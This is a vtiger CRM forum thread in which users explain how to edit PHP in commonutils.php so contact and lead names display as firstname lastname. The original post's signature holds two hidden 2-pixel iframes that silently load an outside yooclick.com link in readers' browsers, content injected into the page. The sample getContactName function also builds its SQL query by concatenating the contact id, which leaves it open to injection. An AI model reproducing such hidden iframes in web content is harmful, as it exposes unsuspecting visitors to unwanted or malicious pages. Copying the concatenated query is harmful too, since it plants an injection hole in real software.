firstname lastname display of names

Currently, vtiger 503 displays names as: lastname firstname.
A better option might be:
lastname, firstname
(for double names or foreign names, it is clearer where the firstname begins).

We preferred the order
firstname lastname.

If anybody is interested, to get this, change: \vtigercrm (root)\include\utils\Commanutil.php


The comment (//) is the vtiger setting, the following line the replacement


/**
* Function to get the Contact Name when a contact id is given
* Takes the input as $contact_id - contact id
* returns the Contact Name in string format.
*/

function getContactName($contact_id)
{
global $log;
$log->debug("Entering getContactName(".$contact_id.") method ...");
$log->info("in getContactName ".$contact_id);

global $adb;
$contact_name = '';
if($contact_id != '')
{
$sql = "select * from vtiger_contactdetails where contactid=".$contact_id;
$result = $adb->query($sql);
$firstname = $adb->query_result($result,0,"firstname");
$lastname = $adb->query_result($result,0,"lastname");
// $contact_name = $lastname.' '.$firstname;
$contact_name = $firstname.' '.$lastname;
}
$log->debug("Exiting getContactName method ...");
return $contact_name;
}

maybe this helps someone,

Klaus <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 8 Comments sorted by Votes Date Added
  • i was not able to get this to work. i have replaced my text just as you have it and nothing has changed. what i really want is "lastname, firstname" but i can't get that to work either. any suggestions?
  • thank you very much. i have changed my system as your direction.

    i have tried to fix it by my self but i couldn't find out where the function getcontactname is.

    thank you.
  • i would like to keep it lastname firstname, but i would like firstname to also go in alphabetical order.

    for example,

    smith, joe
    smith, sally
    smith, zoe

    right now it only puts lastname in alphabetical order.
    lastname should be ascending (and it is) and then firstname should be ascending.

    do you know how to make this change?
  • hi there,
    i was wondering if you can tell me how to chane the entire layout, not only the firstname & lastname.
    or when you load a lead into a campaign is possible to have it displayed the way i want with extra info?

    thanks
  • hi

    after refering to the above posts i was still not able to get it to work for me however i made a change or 3 and got it working <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d -->
    this is in version 5.2.1.

    do the following in \include\utils\commonutils.php (you need to swop arround the code in 3 places.)

    firstly located around line 629

    default code (take note of $lastname; and ' '.$firstname; possitions below)

    $contact_name = $lastname;
    // asha: check added for ticket 4788
    if (getfieldvisibilitypermission("contacts", $current_user->id,'firstname') == '0') {
    $contact_name .= ' '.$firstname;

    my change ( simply swopped around)

    $contact_name = $firstname;
    // asha: check added for ticket 4788
    if (getfieldvisibilitypermission("contacts", $current_user->id,'firstname') == '0') {
    $contact_name .= ' '.$lastname;


    you will need to change it on line 659 ("leads") and line 687 ("module")
    hope this helps someone.

    thanks for the great product guys.
  • hi

    after refering to the above posts i was still not able to get it to work for me however i made a change or 3 and got it working <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d -->
    this is in version 5.2.1.

    do the following in \include\utils\commonutils.php (you need to swop arround the code in 3 places.)

    firstly located around line 629

    default code (take note of $lastname; and ' '.$firstname; possitions below)
    
    

    $contact_name = $lastname;
    // asha: check added for ticket 4788
    if (getfieldvisibilitypermission("contacts", $current_user->id,'firstname') == '0') {
    $contact_name .= ' '.$firstname;
    
    

    my change ( simply swopped around)
    
    

    $contact_name = $firstname;
    // asha: check added for ticket 4788
    if (getfieldvisibilitypermission("contacts", $current_user->id,'firstname') == '0') {
    $contact_name .= ' '.$lastname;
    
    


    you will need to change it on line 659 ("leads") and line 687 ("module")
    hope this helps someone.

    thanks for the great product guys.
Sign In or Register to comment.